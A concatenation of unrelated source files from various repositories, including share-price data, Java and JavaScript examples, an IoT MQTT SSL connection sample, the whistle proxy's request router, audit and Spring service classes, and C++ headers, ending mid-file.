['20180919',2.5700],
['20180920',2.5800],
['20180921',2.5800],
['20180924',2.5700],
['20180925',2.5800],
['20180926',2.5900],
['20180927',2.5800],
['20180928',2.5700],
['20181001',2.5800],
['20181002',2.5800],
['20181003',2.6000],
['20181004',2.5900],
['20181005',2.5900],
['20181008',2.5800],
['20181009',2.5800],
['20181010',2.5700],
['20181011',2.5200],
['20181012',2.5400],
['20181015',2.5500],
['20181016',2.5300],
['20181017',2.5600],
['20181018',2.5600],
['20181019',2.5500],
['20181022',2.5600],
['20181023',2.5600],
['20181024',2.5400],
['20181025',2.5300],
['20181026',2.5500],
['20181029',2.5400],
['20181030',2.5300],
['20181031',2.5300],
['20181101',2.5300],
['20181102',2.5300],
['20181105',2.5300],
['20181107',2.5500],
['20181108',2.5300],
['20181109',2.5600],
['20181112',2.5500],
['20181113',2.5500],
['20181114',2.5700],
['20181115',2.5800],
['20181116',2.5800],
['20181119',2.6000],
['20181120',2.5700],
['20181121',2.5900],
['20181122',2.5800],
['20181123',2.5800],
['20181126',2.6000],
['20181127',2.5800],
['20181128',2.5900],
['20181129',2.5900],
['20181130',2.5900],
['20181203',2.6000],
['20181204',2.5900],
['20181205',2.5700],
['20181206',2.5700],
['20181207',2.6000],
['20181210',2.5700],
['20181211',2.5500],
['20181212',2.5600],
['20181213',2.5700],
['20181214',2.5600],
['20181217',2.5500],
['20181218',2.5800],
['20181219',2.5600],
['20181220',2.5500],
['20181221',2.5600],
['20181224',2.5600],
['20181226',2.5300],
['20181227',2.5500],
['20181228',2.5500],
['20181231',2.5400],
['20190102',2.5400],
['20190103',2.5400],
['20190104',2.5600],
['20190107',2.5700],
['20190108',2.6000],
['20190109',2.5900],
['20190110',2.5900],
['20190111',2.6000],
['20190114',2.6100],
['20190115',2.6100],
['20190116',2.6000],
['20190117',2.6300],
['20190118',2.6300],
['20190121',2.6200],
['20190122',2.6300],
['20190123',2.6100],
['20190124',2.6400],
['20190125',2.6300],
['20190128',2.6200],
['20190129',2.6100],
['20190130',2.6200],
['20190131',2.6200],
['20190201',2.6500],
['20190204',2.6500],
['20190207',2.6400],
['20190208',2.6500],
['20190211',2.6700],
['20190212',2.6800],
['20190213',2.6800],
['20190214',2.7200],
['20190215',2.6900],
['20190218',2.7000],
['20190219',2.7000],
['20190220',2.7200],
['20190221',2.7100],
['20190222',2.7100],
['20190225',2.7400],
['20190226',2.7300],
['20190227',2.7300],
['20190228',2.7300],
['20190301',2.7300],
['20190304',2.7100],
['20190305',2.7100],
['20190306',2.7100],
['20190307',2.7100],
['20190308',2.7000],
['20190311',2.7300],
['20190312',2.7100],
['20190313',2.7200],
['20190314',2.7300],
['20190315',2.7400],
['20190318',2.7400],
['20190319',2.7400],
['20190320',2.7300],
['20190321',2.7400],
['20190322',2.7300],
['20190325',2.7200],
['20190326',2.7200],
['20190327',2.7200],
['20190328',2.7200],
['20190329',2.7200],
['20190401',2.7300],
['20190402',2.7300],
['20190403',2.7400],
['20190404',2.7500],
['20190405',2.7600],
['20190408',2.7700],
['20190409',2.7700],
['20190410',2.7800],
['20190411',2.7800],
['20190412',2.7900],
['20190415',2.8000],
['20190416',2.8000],
['20190417',2.7900],
['20190418',2.8000],
['20190422',2.8000],
['20190423',2.7900],
['20190424',2.7900],
['20190425',2.8000],
['20190426',2.8000],
['20190429',2.8000],
['20190430',2.7800],
['20190502',2.7900],
['20190503',2.7900],
['20190506',2.6500],
['20190507',2.6500],
['20190508',2.6500],
['20190509',2.6200],
['20190510',2.6300],
['20190513',2.6000],
['20190514',2.6100],
['20190515',2.6100],
['20190516',2.6200],
['20190517',2.6100],
['20190521',2.6200],
['20190522',2.6100],
['20190523',2.5900],
['20190524',2.5900],
['20190527',2.6000],
['20190528',2.6000],
['20190529',2.5900],
['20190530',2.5900],
['20190531',2.6000],
['20190603',2.6000],
['20190604',2.5900],
['20190606',2.5900],
['20190607',2.6100],
['20190610',2.6200],
['20190611',2.6600],
['20190612',2.6800],
['20190613',2.6800],
['20190614',2.6800],
['20190617',2.7000],
['20190618',2.7000],
['20190619',2.7000],
['20190620',2.7000],
['20190621',2.8700],
['20190624',2.7800],
['20190625',2.7600],
['20190626',2.7500],
['20190627',2.7500],
['20190628',2.7200],
['20190701',2.7400],
['20190702',2.7400],
['20190703',2.7500],
['20190704',2.7900],
['20190705',2.7800],
['20190708',2.7500],
['20190709',2.7600],
['20190710',2.7800],
['20190711',2.7700],
['20190712',2.7700],
['20190715',2.7700],
['20190716',2.7800],
['20190717',2.7800],
['20190718',2.7800],
['20190719',2.7800],
['20190722',2.7700],
['20190723',2.7700],
['20190724',2.7900],
['20190725',2.7900],
['20190726',2.7700],
['20190729',2.7800],
['20190730',2.7900],
['20190731',2.7700],
['20190801',2.7500],
['20190802',2.7400],
['20190805',2.7300],
['20190806',2.7000],
['20190807',2.7200],
['20190808',2.7100],
['20190813',2.6700],
['20190814',2.6700],
['20190815',2.6400],
['20190816',2.6900],
['20190819',2.6900],
['20190820',2.6900],
['20190821',2.6900],
['20190822',2.6900],
['20190823',2.6900],
['20190826',2.6300],
['20190827',2.5800],
['20190828',2.5800],
['20190829',2.5700],
['20190830',2.5800],
['20190902',2.5900],
['20190903',2.5800],
['20190904',2.5900],
['20190905',2.6000],
['20190906',2.5900],
['20190909',2.5900],
['20190910',2.6000],
['20190911',2.6000],
['20190912',2.6000],
['20190913',2.6000],
['20190916',2.6300],
['20190917',2.6300],
['20190918',2.6300],
['20190919',2.6100],
['20190920',2.6100],
['20190923',2.6000],
['20190924',2.6200],
['20190925',2.5900],
['20190926',2.6100],
['20190927',2.5800],
['20190930',2.5900],
['20191001',2.5900],
['20191002',2.5800],
['20191003',2.5800],
['20191004',2.5900],
['20191007',2.5800],
['20191008',2.6100],
['20191009',2.6100],
['20191010',2.5900],
['20191011',2.6000],
['20191014',2.6000],
['20191015',2.6000],
['20191016',2.6100],
['20191017',2.6000],
['20191018',2.6300],
['20191021',2.6200],
['20191022',2.6200],
['20191023',2.6100],
['20191024',2.6200],
['20191025',2.6300],
['20191029',2.6300],
['20191030',2.6400],
['20191031',2.6300],
['20191101',2.6300],
['20191104',2.6400],
['20191105',2.6600],
['20191106',2.6600],
['20191107',2.6500],
['20191108',2.6600],
['20191111',2.6700],
['20191112',2.6500],
['20191113',2.6400],
['20191114',2.6500],
['20191115',2.6400],
['20191118',2.6500],
['20191119',2.6600],
['20191120',2.6500],
['20191121',2.6500],
['20191122',2.6500],
['20191125',2.6500],
['20191126',2.6400],
['20191127',2.6400],
['20191128',2.6500],
['20191129',2.6400],
['20191202',2.6300],
['20191203',2.6300],
['20191204',2.6300],
['20191205',2.6300],
['20191206',2.6300],
['20191209',2.6300],
['20191210',2.6400],
['20191211',2.6500],
['20191212',2.6500],
['20191213',2.6400],
['20191216',2.6400],
['20191217',2.6400],
['20191218',2.6600],
['20191219',2.6500],
['20191220',2.6400],
['20191223',2.6600],
['20191224',2.6700],
['20191226',2.6700],
['20191227',2.6700],
['20191230',2.6700],
['20191231',2.6700],
['20200102',2.6600],
['20200103',2.6700],
['20200106',2.6600],
['20200107',2.6500],
['20200108',2.6300],
['20200109',2.6400],
['20200110',2.6500],
['20200113',2.6500],
['20200114',2.6500],
['20200115',2.6500],
['20200116',2.6700],
['20200117',2.6500],
['20200120',2.6500],
['20200121',2.6500],
['20200122',2.6400],
['20200123',2.6400],
['20200124',2.6500],
['20200128',2.6100],
['20200129',2.6200],
['20200130',2.6000],
['20200131',2.6000],
['20200203',2.5900],
['20200204',2.6200],
['20200205',2.6300],
['20200206',2.6400],
['20200207',2.6200],
['20200210',2.6100],
['20200211',2.6300],
['20200212',2.6200],
['20200213',2.6400],
['20200214',2.6500],
['20200217',2.6400],
['20200218',2.6300],
['20200219',2.6500],
['20200220',2.6600],
['20200221',2.6500],
['20200224',2.6300],
['20200225',2.6100],
['20200226',2.6000],
['20200227',2.5900],
['20200228',2.5600],
['20200302',2.5800],
['20200303',2.5900],
['20200304',2.6000],
['20200305',2.6000],
['20200306',2.5800],
['20200309',2.4600],
['20200310',2.5000],
['20200311',2.4900],
['20200312',2.4100],
['20200313',2.4000],
['20200316',2.2900],
['20200317',2.2200],
['20200318',2.1100],
['20200319',2.0400],
['20200320',2.0900],
['20200323',2.0000],
['20200324',2.0800],
['20200325',2.1100],
['20200326',2.1000],
['20200327',2.1100],
['20200330',2.1200],
['20200331',2.1200],
['20200401',2.1400],
['20200402',2.1300],
['20200403',2.0900],
['20200406',2.1000],
['20200407',2.2000],
['20200408',2.1600],
['20200409',2.2300],
['20200413',2.2200],
['20200414',2.2800],
['20200415',2.2700],
['20200416',2.2500],
['20200417',2.2500],
['20200420',2.2600],
['20200421',2.2600],
['20200422',2.2500],
['20200423',2.2700],
['20200424',2.2500],
['20200427',2.2500],
['20200428',2.2500],
['20200429',2.2700],
['20200430',2.2900],
['20200504',2.2700],
['20200505',2.2600],
['20200506',2.2700],
['20200508',2.2700],
['20200511',2.3000],
['20200512',2.2800],
['20200513',2.2900],
['20200514',2.2300],
['20200515',2.2400],
['20200518',2.2600],
['20200519',2.2800],
['20200520',2.2900],
['20200521',2.3100],
['20200522',2.2600],
['20200526',2.2500],
['20200527',2.2500],
['20200528',2.2700],
['20200529',2.2600],
['20200601',2.2700],
['20200602',2.2900],
['20200603',2.3800],
['20200604',2.4100],
['20200605',2.4100],
['20200608',2.4600],
['20200609',2.4400],
['20200610',2.4800],
['20200611',2.4200],
['20200612',2.4300],
['20200615',2.4100],
['20200616',2.4700],
['20200617',2.4600],
['20200618',2.4700],
['20200619',2.4800],
['20200622',2.4800],
['20200623',2.4800],
['20200624',2.4900],
['20200625',2.4800],
['20200626',2.4800],
['20200629',2.4900],
['20200630',2.4900],
['20200701',2.3900],
['20200702',2.3800],
['20200703',2.3900],
['20200706',2.3900],
['20200707',2.3800],
['20200708',2.3800],
['20200709',2.3800],
['20200713',2.3800],
['20200714',2.3600],
['20200715',2.3700],
['20200716',2.3700],
['20200717',2.3800],
['20200720',2.3600],
['20200721',2.3700],
['20200722',2.3600],
['20200723',2.3600],
['20200724',2.3300],
['20200727',2.3100],
['20200728',2.3200],
['20200729',2.3100],
['20200730',2.2900],
['20200803',2.2800],
['20200804',2.2900],
['20200805',2.2900],
['20200806',2.3200],
['20200807',2.3000],
['20200811',2.3000],
['20200812',2.3100],
['20200813',2.3000],
['20200814',2.3700],
['20200817',2.3500],
['20200818',2.3800],
['20200819',2.3600],
['20200820',2.3500],
['20200821',2.3500],
['20200824',2.3100],
['20200825',2.3100],
['20200826',2.3300],
['20200827',2.3100],
['20200828',2.3100],
['20200831',2.3000],
['20200901',2.3100],
['20200902',2.3000],
['20200903',2.3100],
['20200904',2.3000],
['20200907',2.3000],
['20200908',2.3000],
['20200909',2.2900],
['20200910',2.2900],
['20200911',2.2900],
['20200914',2.2900],
['20200915',2.2700],
['20200916',2.2800],
['20200917',2.2900],
['20200918',2.3200],
['20200921',2.3000],
['20200922',2.3000],
['20200923',2.3000],
['20200924',2.3100],
['20200925',2.2800],
['20200928',2.2600],
['20200929',2.2700],
['20200930',2.2800],
['20201001',2.2700],
['20201002',2.2600],
['20201005',2.2800],
['20201006',2.2600],
['20201007',2.3000],
['20201008',2.2800],
['20201009',2.3000],
['20201012',2.3200],
['20201013',2.3100],
['20201014',2.3200],
['20201015',2.3100],
['20201016',2.2800],
['20201019',2.3200],
['20201020',2.2800],
['20201021',2.3100],
['20201022',2.3000],
['20201023',2.2900],
['20201026',2.2700],
['20201027',2.2800],
['20201028',2.2700],
['20201029',2.2800],
['20201030',2.2500],
['20201102',2.2600],
['20201103',2.2700],
['20201104',2.2800],
['20201105',2.2700],
['20201106',2.2700],
['20201109',2.2900],
['20201110',2.3400],
['20201111',2.3300],
['20201112',2.3100],
['20201113',2.2900],
['20201116',2.3100],
['20201117',2.3100],
['20201118',2.3300],
['20201119',2.3200],
['20201120',2.3400],
['20201123',2.3600],
['20201124',2.4100],
['20201125',2.4200],
['20201126',2.4200],
['20201127',2.4200],
['20201130',2.3800]];
var source='shareinvestor.com'; |
horacn/java_example | src/main/java/com/hz/example/logic/TestMaxNumber.java | package com.hz.example.logic;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;
public class TestMaxNumber {
/**
* 输出里面出现次数最多且数值最大的一个,出现几次
* @param args
*/
public static void main(String[] args) {
int [] num = {1,3,4,7,2,1,1,5,2};
Map<Integer,Integer> map = new HashMap<>();
for (int i = 0; i < num.length; i++) {
if(!map.containsKey(num[i])){
map.put(num[i], 1);
}else{
Integer count = map.get(num[i]);
map.put(num[i], count+1);
}
}
Integer max= Integer.MIN_VALUE;
Integer max2 = Integer.MIN_VALUE;
for( Entry<Integer, Integer> entry : map.entrySet() ) {
Integer key = entry.getKey();
Integer value = entry.getValue();
if(value>=max){
max=value;
if(key>=max2){
max2=key;
}
}
}
for( Entry<Integer, Integer> entry : map.entrySet() ) {
Integer key = entry.getKey();
Integer value = entry.getValue();
if(key==max2){
System.out.println("频率最大数"+key+" 频率:"+max);
}
}
}
}
|
Anand270294/main | src/test/java/seedu/address/model/course/CourseNameTest.java | package seedu.address.model.course;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import seedu.address.testutil.Assert;
public class CourseNameTest {
@Test
public void constructor_null_throwsNullPointerException() {
Assert.assertThrows(NullPointerException.class, () -> new CourseName(null));
}
@Test
public void isValidCourseName() {
//invalid course name
assertFalse(CourseName.isValidCourseName("&S*A&D!"));
assertFalse(CourseName.isValidCourseName(" starts with white space"));
assertFalse(CourseName.isValidCourseName("2138129839120"));
//valid course name
assertTrue(CourseName.isValidCourseName("coursename"));
}
@Test
public void equals() {
CourseName test = new CourseName("valid coursename");
//equal
assertEquals(test, test);
assertEquals(new CourseName("valid coursename"), test);
//not equal
assertNotEquals(null, test);
assertNotEquals("somethingelse", test);
assertNotEquals(new CourseName("some other name"), test);
}
}
|
Lekito/Estudo_JS | aula11/ex009.js | var país = `EUA`
console.log(`\nvivendo em ${país}\n`)
if(país == `Brasil`){
console.log(`\nBrasileiro\n\n`)
} else{
console.log(`Estrangeiro`)
} |
EnvisionIot/enos-iot-java-sdk | enos-sdk-sample/src/main/java/mqtt/BiDirectionalAuthenticate.java | <reponame>EnvisionIot/enos-iot-java-sdk
package mqtt;
import com.envisioniot.enos.iot_mqtt_sdk.core.ConnCallback;
import com.envisioniot.enos.iot_mqtt_sdk.core.MqttClient;
import com.envisioniot.enos.iot_mqtt_sdk.core.profile.DefaultProfile;
import lombok.extern.slf4j.Slf4j;
/**
* @author qiwei.tan
* @version 1.0
* @program enos-iot-sdk-parent
* @ClassName DeviceSSLLoginSample
* @Description device ssl connect example
* @date 2020/2/11 10:21
*/
@Slf4j
public class BiDirectionalAuthenticate {
/**
* Gateway credentials, which can be obtained from Device Details page in EnOS Console
*/
private static String productKey = "productKey";
private static String deviceKey = "deviceKey";
private static String deviceSecret = "deviceSecret";
// The JKS needs to store the device private key, the device certificate
// applied from the EnOS platform, and the EnOS platform CA certificate
// To learn how to acquire these certificates, see
// https://support-cn5.envisioniot.com/docs/device-connection/en/latest/learn/deviceconnection_authentication.html#certificate-based-authentication
private static String jksPath = "jskPath";
private static String jksPassword = "<PASSWORD>";
/**
* protocol list : ssl,wss
* IpAddress : can domain name or ip address
* Port list: 18883,18885
*/
private static String protocol = "ssl";
/**
* EnOS HTTP Broker URL, which can be obtained from Environment Information page in EnOS Console
*/
private static String IpAddress = "broker_domain_url";
private static String port = "18883";
public static void main(String[] args) {
DefaultProfile defaultProfile = new DefaultProfile(protocol + "://" + IpAddress + ":" + port,
productKey,
deviceKey,
deviceSecret);
defaultProfile
.setConnectionTimeout(60)
.setKeepAlive(180)
.setAutoReconnect(false)
.setSSLSecured(true)
.setSSLJksPath(jksPath, jksPassword);
// if use ECC certificate
// defaultProfile.setEccConnect(true);
/*
* If bi-directional authentication is enabled, the domain name of the server certificate is not verified by default.
* You can manually enable the verification as required.
*/
// defaultProfile.setHostnameVerifyEnabled(true);
final MqttClient mqttClient = new MqttClient(defaultProfile);
mqttClient.connect(new ConnCallback() {
@Override
public void connectComplete(boolean reconnect) {
log.info("connectComplete");
}
@Override
public void connectLost(Throwable cause) {
log.error("connectLost", cause);
}
@Override
public void connectFailed(Throwable cause) {
log.error("connectFailed", cause);
}
});
}
}
|
hmqk1995/whistle | biz/index.js | <reponame>hmqk1995/whistle
var net = require('net');
var rules = require('../lib/rules');
var util = require('../lib/util');
var handleUIReq = require('./webui/lib').handleRequest;
var handleWeinreReq = require('./weinre');
var config = require('../lib/config');
var localIpCache = util.localIpCache;
var WEBUI_PATH = config.WEBUI_PATH;
var CUSTOM_WEBUI_PATH = /\/[\w.-]*\.whistle-path\.5b6af7b9884e1165[\w.-]*\/+/;
var CUSTOM_WEBUI_PATH_RE = /^\/[\w.-]*\.whistle-path\.5b6af7b9884e1165[\w.-]*\/+/;
var PREVIEW_PATH_RE = config.PREVIEW_PATH_RE;
var WEBUI_PATH_RE = util.escapeRegExp(WEBUI_PATH);
var REAL_WEBUI_HOST = new RegExp('^' + WEBUI_PATH_RE + '(__([a-z\\d.-]+)(?:__(\\d{1,5}))?__/)');
var INTERNAL_APP = new RegExp('^' + WEBUI_PATH_RE + '(log|weinre|cgi)(?:\\.(\\d{1,5}))?/');
var PLUGIN_RE = new RegExp('^' + WEBUI_PATH_RE + 'whistle\\.([a-z\\d_-]+)/');
var CUSTOM_REAL_WEBUI_HOST = new RegExp('^/[\\w.-]*\\.whistle-path\\.5b6af7b9884e1165[\\w.-]*/+(__([a-z\\d.-]+)(?:__(\\d{1,5}))?__/)');
var CUSTOM_INTERNAL_APP = new RegExp('^/[\\w.-]*\\.whistle-path\\.5b6af7b9884e1165[\\w.-]*/+(log|weinre|cgi)(?:\\.(\\d{1,5}))?/');
var CUSTOM_PLUGIN_RE = new RegExp('^/[\\w.-]*\\.whistle-path\\.5b6af7b9884e1165[\\w.-]*/+whistle\\.([a-z\\d_-]+)/');
var REAL_WEBUI_HOST_PARAM = /_whistleInternalHost_=(__([a-z\d.-]+)(?:__(\d{1,5}))?__)/;
module.exports = function(req, res, next) {
var config = this.config;
var pluginMgr = this.pluginMgr;
var fullUrl = req.fullUrl = util.getFullUrl(req); // format request
var host = util.parseHost(req.headers.host);
var port = host[1] || (req.isHttps ? 443 : 80);
var bypass;
host = host[0];
var transformPort, isProxyReq, isWeinre, isOthers;
var webUI = WEBUI_PATH;
var realHostRe = REAL_WEBUI_HOST;
var internalAppRe = INTERNAL_APP;
var pluginRe = PLUGIN_RE;
var isWebUI = req.path.indexOf(WEBUI_PATH) === 0;
var isOld;
if (!isWebUI && CUSTOM_WEBUI_PATH_RE.test(req.path)) {
isWebUI = true;
isOld = true;
webUI = CUSTOM_WEBUI_PATH;
realHostRe = CUSTOM_REAL_WEBUI_HOST;
internalAppRe = CUSTOM_INTERNAL_APP;
pluginRe = CUSTOM_PLUGIN_RE;
}
if (isWebUI) {
isWebUI = !config.pureProxy;
var realHost;
if (isWebUI) {
if (realHostRe.test(req.path) || REAL_WEBUI_HOST_PARAM.test(req.url)) {
var realPath = RegExp.$1;
var realPort = RegExp.$3;
realHost = RegExp.$2 + (realPort ? ':' + realPort : '');
req.headers[config.REAL_HOST_HEADER] = realHost;
req.url = req.url.replace(realPath, '');
} else {
req.curUrl = fullUrl;
if (realHost = rules.resolveInternalHost(req)) {
req.headers[config.REAL_HOST_HEADER] = realHost;
}
}
if (internalAppRe.test(req.path)) {
transformPort = RegExp.$2;
isWeinre = RegExp.$1 === 'weinre';
if (transformPort) {
isOthers = isProxyReq = transformPort != config.port;
} else {
isProxyReq = false;
transformPort = config.port;
}
isProxyReq = isProxyReq || isOld;
} else if (pluginRe.test(req.path)) {
isProxyReq = !pluginMgr.getPlugin(RegExp.$1 + ':');
} else if (!req.headers[config.WEBUI_HEAD]) {
isWebUI = false;
}
if (!config.proxyServer && isProxyReq && !config.isLocalUIUrl(host)) {
isWebUI = false;
req.isPluginReq = true;
req._isProxyReq = true;
}
}
} else {
isWebUI = req.headers[config.WEBUI_HEAD];
if (!isWebUI) {
if (!(isWebUI = localIpCache.get(host))) {
isWebUI = config.isLocalUIUrl(host);
if (isWebUI ? net.isIP(host) : util.isLocalHost(host)) {
isWebUI = util.isProxyPort(port);
}
}
} else if (util.isProxyPort(port) && net.isIP(host)) {
localIpCache.set(host, 1);
}
if (isWebUI) {
if (req.path.indexOf('/_/') === 0) {
bypass = '/_/';
} else if (req.path.indexOf('/-/') === 0) {
bypass = '/-/';
}
if (bypass) {
req.url = req.url.replace(bypass, '/');
}
delete req.headers[config.INTERNAL_ID_HEADER];
} else if (PREVIEW_PATH_RE.test(req.url)) {
req.headers[config.INTERNAL_ID_HEADER] = config.INTERNAL_ID;
req.url = '/preview.html?charset=' + RegExp.$1;
isWebUI = true;
}
}
// 后续有用到
fullUrl = req.fullUrl = util.getFullUrl(req);
if (bypass) {
return next();
}
var localRule;
req.curUrl = fullUrl;
if (isWebUI) {
if (isOthers) {
util.transformReq(req, res, transformPort);
} else {
req._hasRespond = true;
req.url = req.url.replace(transformPort ? internalAppRe : webUI, '/');
if (isWeinre) {
handleWeinreReq(req, res);
} else {
handleUIReq(req, res);
}
}
} else if (localRule = rules.resolveLocalRule(req)) {
req.url = localRule.url;
if (localRule.realPort) {
req.headers.host = '127.0.0.1:' + localRule.realPort;
util.transformReq(req, res, localRule.realPort);
} else {
handleUIReq(req, res);
}
} else {
next();
}
};
|
PrabhuJoseph/cloudbreak | audit-connector/src/main/java/com/sequenceiq/cloudbreak/audit/converter/auditeventname/rest/datahub/DatahubRestResourceAuditEventConverter.java | package com.sequenceiq.cloudbreak.audit.converter.auditeventname.rest.datahub;
import java.util.Map;
import javax.inject.Inject;
import org.apache.commons.lang3.StringUtils;
import org.springframework.stereotype.Component;
import com.sequenceiq.cloudbreak.audit.converter.auditeventname.rest.RestCommonService;
import com.sequenceiq.cloudbreak.audit.converter.auditeventname.rest.RestResourceAuditEventConverter;
import com.sequenceiq.cloudbreak.audit.model.AuditEventName;
import com.sequenceiq.cloudbreak.auth.altus.Crn;
import com.sequenceiq.cloudbreak.structuredevent.event.OperationDetails;
import com.sequenceiq.cloudbreak.structuredevent.event.StructuredRestCallEvent;
@Component
public class DatahubRestResourceAuditEventConverter implements RestResourceAuditEventConverter {
@Inject
private RestCommonService restCommonService;
@Override
public AuditEventName auditEventName(StructuredRestCallEvent structuredEvent) {
String method = structuredEvent.getRestCall().getRestRequest().getMethod();
AuditEventName eventName = null;
String resourceEvent = structuredEvent.getOperation().getResourceEvent();
if ("POST".equals(method) || "PUT".equals(method)) {
if (resourceEvent == null) {
eventName = AuditEventName.CREATE_DATAHUB_CLUSTER;
} else {
eventName = updateRest(resourceEvent);
}
} else if ("DELETE".equals(method)) {
eventName = deletionRest(resourceEvent, structuredEvent.getOperation());
}
return eventName;
}
private AuditEventName deletionRest(String resourceEvent, OperationDetails operationDetails) {
if (StringUtils.isEmpty(resourceEvent)
|| resourceEvent.equals(operationDetails.getResourceName())
|| resourceEvent.equals(operationDetails.getResourceCrn())) {
return AuditEventName.DELETE_DATAHUB_CLUSTER;
} else if ("instance".equals(resourceEvent) || "instances".equals(resourceEvent)) {
return AuditEventName.INSTANCE_DELETE_DATAHUB_CLUSTER;
}
return null;
}
private AuditEventName updateRest(String resourceEvent) {
if ("retry".equals(resourceEvent)) {
return AuditEventName.RETRY_DATAHUB_CLUSTER;
} else if ("stop".equals(resourceEvent)) {
return AuditEventName.STOP_DATAHUB_CLUSTER;
} else if ("start".equals(resourceEvent)) {
return AuditEventName.START_DATAHUB_CLUSTER;
} else if ("scaling".equals(resourceEvent)) {
return AuditEventName.RESIZE_DATAHUB_CLUSTER;
} else if ("maintenance".equals(resourceEvent)) {
return AuditEventName.MAINTAIN_DATAHUB_CLUSTER;
} else if ("manual_repair".equals(resourceEvent)) {
return AuditEventName.MANUAL_REPAIR_DATAHUB_CLUSTER;
}
return null;
}
@Override
public boolean shouldAudit(StructuredRestCallEvent structuredRestCallEvent) {
return true;
}
@Override
public Crn.Service eventSource(StructuredRestCallEvent structuredEvent) {
return Crn.Service.DATAHUB;
}
@Override
public Map<String, Object> requestParameters(StructuredRestCallEvent structuredEvent) {
return restCommonService.addClusterCrnAndNameIfPresent(structuredEvent);
}
}
|
CppPhil/fix_mogasens_csv | csv_lib/include/cl/fs/windows.hpp | /*!
* \file windows.hpp
* \brief Contains Microsoft Windows specific functions.
**/
#ifndef INCG_CL_FS_WINDOWS_HPP
#define INCG_CL_FS_WINDOWS_HPP
#include <string>
#include <pl/os.hpp>
#include <pl/string_view.hpp>
#if PL_OS == PL_OS_WINDOWS
#include <Windows.h>
#endif
namespace cl::fs {
#if PL_OS == PL_OS_WINDOWS
/*!
* \brief Converts a UTF-8 encoded string to a UTF-16 encoded wstring.
* \param utf8 The UTF-8 encoded string to convert.
* \return The resulting UTF-16 string.
* \note Most WINAPIs expect UTF-16 encoded wide character strings, but
* we don't want to pollute the code base with UTF-16 strings.
* \warning Wide characters are only 16 bit wide on Microsoft Windows, they're
* 32 bit on GNU / Linux.
**/
[[nodiscard]] std::wstring utf8ToUtf16(pl::string_view utf8);
/*!
* \brief Converts a UTF-16 encoded wide character string to UTF-8 string.
* \param utf16 The UTF-16 encoded wide character string to convert.
* \return The resulting UTF-8 string.
* \note Most WINAPIs expect UTF-16 encoded wide character strings, but
* we don't want to pollute the code base with UTF-16 strings.
* \warning Wide characters are only 16 bit wide on Microsoft Windows, they're
* 32 bit on GNU / Linux.
**/
[[nodiscard]] std::string utf16ToUtf8(pl::wstring_view utf16);
/*!
* \brief Formats a WINAPI error code to a UTF-16 encoded wide character string.
* \param errorCode The WINAPI error code.
* \return The resulting UTF-16 encoded wide character string.
* \note Most WINAPIs expect UTF-16 encoded wide character strings, but
* we don't want to pollute the code base with UTF-16 strings.
* \warning Wide characters are only 16 bit wide on Microsoft Windows, they're
* 32 bit on GNU / Linux.
**/
[[nodiscard]] std::wstring formatError(DWORD errorCode);
#endif
} // cl::fs
#endif // INCG_CL_FS_WINDOWS_HPP
|
leonardobrunnet/superboids2 | src/load.hpp | <reponame>leonardobrunnet/superboids2
// Copyright (C) 2016-2018 <NAME>.
// Copyright (C) 2018 <NAME>.
// License specified in LICENSE file.
#pragma once
#include <fstream>
#include <vector>
#include "Superboid.hpp"
#include "parameters.hpp"
class InitialPositions {
public:
virtual void youCannotMakeAInstanceOfMe(void) = 0;
static inline bool load(void) { return _load; }
static inline std::ifstream &file(void) { return _file; }
static inline step_int startStep(void) { return _startStep; }
friend int setInitialPositionsFile(const std::string &);
virtual inline ~InitialPositions() { ; }
private:
static bool _load;
static std::ifstream _file;
static step_int _startStep;
};
extern void
loadPositions(std::vector<Superboid> &);
|
jjleee/eladmin-master | eladmin-system/src/main/java/me/zhengjie/modules/rules/service/impl/BinningRuleServiceImpl.java | <reponame>jjleee/eladmin-master<filename>eladmin-system/src/main/java/me/zhengjie/modules/rules/service/impl/BinningRuleServiceImpl.java
package me.zhengjie.modules.rules.service.impl;
import me.zhengjie.modules.rules.domain.BinningRule;
import me.zhengjie.utils.ValidationUtil;
import me.zhengjie.modules.rules.repository.BinningRuleRepository;
import me.zhengjie.modules.rules.service.BinningRuleService;
import me.zhengjie.modules.rules.service.dto.BinningRuleDTO;
import me.zhengjie.modules.rules.service.mapper.BinningRuleMapper;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Propagation;
import org.springframework.transaction.annotation.Transactional;
import java.util.Optional;
/**
* @author jie
* @date 2019-04-09
*/
@Service
@Transactional(propagation = Propagation.SUPPORTS, readOnly = true, rollbackFor = Exception.class)
public class BinningRuleServiceImpl implements BinningRuleService {
@Autowired
private BinningRuleRepository binningRuleRepository;
@Autowired
private BinningRuleMapper binningRuleMapper;
@Override
public BinningRuleDTO findById(Long id) {
Optional<BinningRule> binningRule = binningRuleRepository.findById(id);
ValidationUtil.isNull(binningRule, "BinningRule", "id", id);
return binningRuleMapper.toDto(binningRule.get());
}
@Override
@Transactional(rollbackFor = Exception.class)
public BinningRuleDTO create(BinningRule resources) {
return binningRuleMapper.toDto(binningRuleRepository.save(resources));
}
@Override
@Transactional(rollbackFor = Exception.class)
public void update(BinningRule resources) {
Optional<BinningRule> optionalBinningRule = binningRuleRepository.findById(resources.getRuleId());
ValidationUtil.isNull(optionalBinningRule, "BinningRule", "id", resources.getRuleId());
BinningRule binningRule = optionalBinningRule.get();
// 此处需自己修改
resources.setRuleId(binningRule.getRuleId());
binningRuleRepository.save(resources);
}
@Override
@Transactional(rollbackFor = Exception.class)
public void delete(Long id) {
binningRuleRepository.deleteById(id);
}
} |
jiandiao/flowable-engine | modules/flowable-cmmn-converter/src/main/java/org/flowable/cmmn/converter/export/DecisionTaskExport.java | /* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.flowable.cmmn.converter.export;
import javax.xml.stream.XMLStreamWriter;
import org.apache.commons.lang3.StringUtils;
import org.flowable.cmmn.model.CmmnModel;
import org.flowable.cmmn.model.DecisionTask;
public class DecisionTaskExport extends AbstractPlanItemDefinitionExport<DecisionTask> {
@Override
protected Class<DecisionTask> getExportablePlanItemDefinitionClass() {
return DecisionTask.class;
